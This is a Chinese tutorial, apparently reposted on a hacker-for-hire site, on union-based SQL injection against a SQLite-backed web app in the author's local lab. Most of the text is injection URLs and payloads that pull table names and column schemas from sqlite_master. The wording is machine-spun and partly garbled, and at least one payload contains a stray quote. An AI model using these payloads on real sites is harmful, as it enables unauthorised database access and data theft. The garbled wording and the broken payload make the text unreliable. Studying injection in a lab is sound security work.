根据SQLite数据库的Web应用程序注入攻略

访客5年前黑客文章796

SQL注入又称hacking之母,是形成 *** 世界巨大损失而臭名远扬的缝隙之一,研究人员现已发布了许多关于不同SQL服务的不同进犯技巧相关文章。关于MSSQL,MySQL和ORACLE数据库来说,SQL注入的payload一抓一大把,你能够在web运用中运用SQL注入缝隙进行进犯,假如其间任何一种数据库被用来作为后端数据库。SQLite就比较不那么知名了,因而相关的SQL注入payload就比较少,假如你想进犯后端数据库为SQLite的,那你就得去学习SQLite相关功用,然后构造出你自己的payload。因而,本文中咱们将讨论两种关于SQLite的SQL注入进犯技巧。
1、根据联合查询的SQL注入(数字型或字符型)
2、SQL盲注
试验环境
为了完成根据SQLite的SQL注入,咱们需求以下环境:
1、web服务器(这里是apache)
2、PHP环境
3、运用SQLite数据库的存在缝隙的web运用,这里有一个我自己开发的运用
测验运用包里包括PHP代码和SQLite数据库(ica-lab.db).数据库共有两个表单:Info和Users
施行进犯
1、根据联合查询的SQL注入
根据联合查询的SQL注入并不难,SQL查询直接去数据库中获取表名以及列名。让咱们来试试根据联合查询的SQL注入(数字型),注入点:
http://127.0.0.1/sqlite-lab/index.php?snumber=1
在测验order by子句后,咱们能够发现列数为5,Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--

列2,3,4的数据在web页面上被打印出来了,因而咱们需求运用这三个列的其间一个或多个。
获取表名
在SQLite中,为了猜解表名咱们需求运转以下查询:

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
在缝隙运用程序里,假如咱们构造像以下这样的链接,web运用将会在2这个方位显现一切表名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

为了让表名独自显现,咱们能够运用带offset的limit子句,就像这样:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%'' limit 2 offset 1
limit后边接的数字是为了获取行数,而offest后边接的数字则为之一次回来成果中的删除数。在上述查询中,limit提取了两个表名,然后哦之一个被offset删除去,所以咱们获得了第二个表名。相似的,为了获取第三个表名,只需求改动limit和offset为3跟2即可,即limit 3 offset 2.
获取列名
关于获取列名来说,相同有个简略的SQL查询来从指定表中获取列名。

union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'
只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可,在本例中,我想获取info表的列名:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'

获取“洁净”列名的payload
用以下payload来代替'sql',其他的payload坚持不变

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~')
Inject URL:

http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info'

[1] [2] [3] [4]  黑客接单网

相关文章

怎么全面防护Webshell(上)?

 事实上,互联网上每时每刻都在上演着进犯和防护,本文将会要点的深化剖析一下其间一个非常重要的类型:webshell。 初识webshell 接下来将演示3种黑客是怎么用力浑身解数将webshell上传...

根据时延的盲道研讨:受限环境下的内容回传信道

在一次缝隙赏金活动中,挖到个指令注入的洞,我先以时延作为证明向厂商提交该缝隙,厂商以国内网络环境差为由(确实得翻墙)拒收,几回交流,奉告若我能取回指定文件 secret.txt 才认可。方针是个受限环...

中、小企业怎么自建免费的云WAF

概述 WEB进犯是十几年来黑客进犯的干流技能,国内的大厂们早已把WAF作为安全基础设施的标配,市面上也有许多安全厂商供给了WAF产品或云WAF服务。 关于没有自己安全团队,却又饱尝sql注入、xss...

你的PoC和EXP可能得改改了-黑客接单平台

一、前语 在MySQL 5.7.5之前的所有主版别存在一个BUG,该或许导致影响POC/EXP需求从头编写或批改的问题。 BUG信息链接: https://bugs.mysql.com/bug.ph...

保证你网页的安全

 从技能到安全, 这是一个趋势. 曾经寻求的是比较炫酷的技能, 等完成往后发现, 自己还能做什么. 炫技完了之后,差不多就该到悟道的时分了. 用户安全, 便是一个很大的禅. 苹果回绝 FBI, goo...

MySQL怎么避免SQL注入

 假如您经过网页获取用户输入的 数据 并将其刺进一个MySQL数据库,那么就有可能发生SQL注入安全的 问题 。 本章节将为咱们介绍怎么避免SQL注入,并经过脚原本过滤SQL中注入的字符。  所谓SQ...